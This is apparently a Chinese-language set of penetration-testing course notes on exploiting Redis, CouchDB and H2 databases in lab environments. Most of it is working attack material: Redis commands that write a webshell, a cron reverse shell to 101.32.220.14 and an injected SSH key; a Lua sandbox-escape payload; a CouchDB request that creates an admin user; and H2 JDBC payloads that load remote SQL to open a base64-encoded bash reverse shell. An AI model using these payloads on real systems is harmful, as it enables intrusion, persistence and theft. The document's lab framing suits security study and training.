前置知识
- 漏洞复现
- 靶场:
- 复现环境:Vulfocus(官方在线若无法使用)
- 官方手册:Vulfocus 文档
- 搭建踩坑(无法同步等问题):CSDN 博客
- 服务判断
- 端口扫描:通过目标端口开放判断服务。
- 组合判断:分析常见服务组合推测可能开放的服务。
- 信息来源:访问端口获取软件版本、应用信息等。
- 强弱特征:如 Shiro 的
rememberMe强特征、SpringBoot 默认页面等。
- 对象类别
- 对服务进行分类,通过服务功能理解。例如,数据库涉及帐号密码可进行爆破利用,针对公开 CVE 进行漏洞测试,或因错误安全配置导致未授权访问。
- 利用方法
- 主要集中在配置不当、CVE 漏洞、未授权访问、弱口令爆破、功能利用等。
数据库应用-Redis-未授权访问&CVE 漏洞
默认端口:6379
概述:Redis 是一套开源的、支持网络、可基于内存或持久化的日志型键值存储数据库,提供多种语言 API。若未开启认证,任意用户可未授权访问 Redis 并读取数据。
-
未授权访问:CNVD-2015-07557
配置不当(redis.conf):
# 注释掉 bind 行,允许所有 IP 连接 # bind 127.0.0.1 # 关闭保护模式(>3.2.0) protected-mode no # 默认密码为空 # requirepass ""-
写 Webshell
利用条件:Web 目录权限可读写
config set dir /tmp # 设置 WEB 写入目录 config set dbfilename 1.php # 设置写入文件名 set test "<?php phpinfo();?>" # 设置写入文件代码 bgsave # 保存执行 save # 保存执行注意:部分环境无目录读写权限。
-
写定时任务反弹 Shell
利用条件:Redis 服务以 ROOT 账号启动,安全模式
protected-mode关闭config set dir /var/spool/cron set yy "\n\n\n* * * * * bash -i >& /dev/tcp/101.32.220.14/5566 0>&1\n\n\n" config set dbfilename x save注意:
- CentOS 会忽略乱码,执行格式正确的任务计划。
- Ubuntu 不会忽略乱码,可能导致命令执行失败。
-
写入 Linux SSH 公钥
利用条件:Redis 服务以 ROOT 账号启动,安全模式
protected-mode关闭,允许密钥登录ssh-keygen -t rsa cd /root/.ssh/ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt cat key.txt | redis-cli -h 目标IP -x set xxx # 以上步骤在攻击机器上执行 config set dir /root/.ssh/ config set dbfilename authorized_keys save cd /root/.ssh/ ssh -i id_rsa root@目标IP
-
-
未授权访问:CNVD-2019-21763
Redis 4.x 及以上版本新增模块功能,攻击者可通过外部扩展添加新 Redis 命令,加载恶意
.so文件实现远程代码执行。- 工具:
-
python redis-master.py -r 123.58.224.8 -p 52666 -L 101.32.220.14 -P 8888 -f RedisModulesSDK/exp.so -c "id" -
python redis-rogue-server.py --rhost 目标IP --rport 目标端口 --lhost IP
-
- 工具:
-
沙箱绕过 RCE:CVE-2022-0543
PoC:执行
id命令eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
数据库应用-CouchDB-未授权越权&CVE 漏洞
默认端口:5984
概述:Apache CouchDB 是一个开源 NoSQL 数据库,使用 JSON 存储数据,JavaScript 作为查询语言,MapReduce 和 HTTP 作为 API,广泛应用于 BBC、Credit Suisse、Meebo 等平台。
-
垂直权限绕过:CVE-2017-12635
利用方式:
-
创建用户
PUT /_users/org.couchdb.user:xiaodi HTTP/1.1 Host: 47.94.236.117:5984 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 108 { "type": "user", "name": "xiaodi", "roles": ["_admin"], "roles": [], "password": "xiaodi" } -
登录用户授权
GET /_utils/ xiaodi xiaodi
-
-
命令执行:CVE-2017-12636
利用方式:
- 下载 exp.py
- 修改目标和反弹地址
- 使用 Python3 执行
-
代码执行:CVE-2022-24706
PoC:
python poc.py target-ip 4369
数据库应用-H2 Database-未授权访问&CVE 漏洞
默认端口:20051
概述:H2 是一个快速、开源的 Java SQL 数据库,支持嵌入式和服务器模式、内存数据库、基于浏览器的控制台应用。2.1.210 之前的版本存在未授权 RCE 漏洞,允许通过特定 JDBC URL 执行任意代码。
-
CVE-2018-10054
(无需讲解)
-
JNDI RCE:CVE-2021-42392
利用方式:
- 设置 Driver class 为
javax.naming.InitialContext - JDBC URL 填写 Java-Chains 生成的 JNDI URL参考:vulhub CVE-2021-42392
- 设置 Driver class 为
-
JDBC RCE:CVE-2022-23221
利用方式:
-
未授权进入
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\ -
RCE 执行反弹 Shell
-
创建数据库文件:
xx.sqlCREATE TABLE test ( id INT NOT NULL ); CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");'; # 反弹指令示例:bash -i >& /dev/tcp/x.x.x.x/5566 0>&1 -
启动提供 SQL 文件远程加载服务
python3 -m http.server 端口 -
填入 Payload 加载远程 SQL
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://101.32.220.14:88/h2.sql';\ -
监听反弹 Shell
nc -lvvp xxxx
-
-